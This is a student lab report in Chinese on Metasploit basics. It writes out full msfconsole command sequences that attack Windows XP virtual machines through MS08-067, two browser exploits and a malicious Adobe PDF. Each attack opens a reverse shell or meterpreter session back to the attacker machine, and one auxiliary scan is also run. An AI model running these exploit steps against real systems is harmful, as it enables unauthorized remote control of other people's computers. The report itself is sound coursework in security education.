20165308『网络对抗技术』Exp5 MSF基础应用

一、原理与实践说明

实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
一个主动攻击实践,如ms08-067; (1分)
一个针对浏览器的攻击,如ms11-050;(1分)
一个针对客户端的攻击,如Adobe;(1分)
成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。

实践内容

目录
主动攻击:ms08_067漏洞攻击
对浏览器攻击:ms10_046漏洞攻击
对Adobe的漏洞攻击:adobe_toolbutton
尝试利用漏洞对win7系统进行攻击

Windows服务渗透攻击——MS08-067安全漏洞

攻击机:Kali(IP地址:192.168.91.135)
靶机: windows XP(IP地址:192.168.91.134)

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

在攻击机kali输入 msfconsole 进入控制台,依次输入以下指令:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > show payloads
msf exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.91.135 //攻击机ip
msf exploit(windows/smb/ms08_067_netapi) > set LPORT 5308 //攻击端口
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.91.134 //靶机ip,特定漏洞端口已经固定
msf exploit(windows/smb/ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
msf exploit(windows/smb/ms08_067_netapi) > exploit //攻击

20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第1张
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第2张

建立会话,攻击成功结果如下:
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第3张
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第4张

针对浏览器的攻击:ms11_050

攻击机:kali (IP地址:192.168.91.135)
靶机:WindowsXP (IP地址:192.168.91.136)

在攻击机kali输入 msfconsole 进入控制台,依次输入以下指令:

msf > use windows/browser/ms11_050_mshtml_cobjectelement

info指令查看该模块的信息
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第5张

targets信息
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第6张

options信息
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第7张

msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_tcp //http反向回连
msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.91.135 //攻击机ip
msf exploit(ms11_050_cobjectelement) > set LPORT 5308 //攻击端口固定
msf exploit(ms11_050_cobjectelement) > set URIPATH baidu //统一资源标识符路径设置
set target 1
msf exploit(ms11_050_cobjectelement) > exploit

20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第8张

攻击成功后会有靶机需要访问的网址
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第9张

一直回连不成功,失败。所以机智地换了一个。

对浏览器攻击:ms10_046漏洞攻击

用 use exploit/windows/browser/ms10_046_shortcut_icon_dllloader 使用该模块,再使用 show payloads 查看可以供我们使用的payload:
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第10张

SRVHOST填的是本地监听主机的IP地址,LHOST也是监听的IP地址,所以这里SRVHOST和LHOST都应该填攻击机的IP地址:
使用exploit指令执行漏洞,可以看到生成了一个url:
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第11张

使用exploit指令执行漏洞,可以看到生成了一个url:
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第12张

在MSF终端看见漏洞执行成功:
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第13张

针对Adobe Reader软件的渗透攻击——adobe_toolbutton

攻击机:kali
靶机:windowsXP
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
先用search adobe得知此漏洞所在的模块
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第14张

选择一个模块
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第15张
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第16张

用show targets查看可以被攻击的靶机的操作系统型号
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第17张

msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.91.135 //攻击机ip
msf exploit(adobe_cooltype_sing) > set LPORT 5308//攻击端口
msf exploit(adobe_cooltype_sing) > set FILENAME 5308zsy.pdf //设置生成pdf文件的名字
msf exploit(adobe_cooltype_sing) > exploit//攻击

20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第18张

找到5308zsy.pdf文件
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第19张

将文件放到靶机上
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第20张

在kali上进入监听模块,输入以下命令:

msf > use exploit/multi/handler //进入监听模块
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp//tcp反向连接
msf exploit(handler) > set LHOST 192.168.91.135 //攻击机ip
msf exploit(handler) > set LPORT 5308 //攻击端口固定
msf exploit(handler) > exploit

20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第21张

发现已经获取了被攻击者权力,可以对其进行操作
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第22张

若关闭pdf文件,则失去权限,攻击失败
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第23张

成功应用任何一个辅助模块(唯一)

输入命令show auxiliary查看所有辅助模块
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第24张

选择其中一个即可
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第25张

用指令info查看相关信息
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第26张

进行扫描,结果如下图所示
20165308『网络对抗技术』Exp5 MSF基础应用 随笔 第27张

实验感想

本次实验通过通过MSF的攻击模块对计算机进行各种攻击方法的实践,攻击的方法更深入。总是会有攻击不成功的地方,但是课上老师说不成功是很正常的事情,所以不会太崩溃。但是有些问题还是不能自己解决,还是要靠别人的帮助才能完成。

基础问题回答

用自己的话解释什么是exploit,payload,encode?
exploit:就是漏洞利用。有漏洞不一定就有Exploit但是有Exploit就肯定有漏洞。
payload:可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。说白了就是传送到靶机上的用来攻击的恶意代码。
encode:编码,就是把代码重新包装一下让它尽量躲避查杀。

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄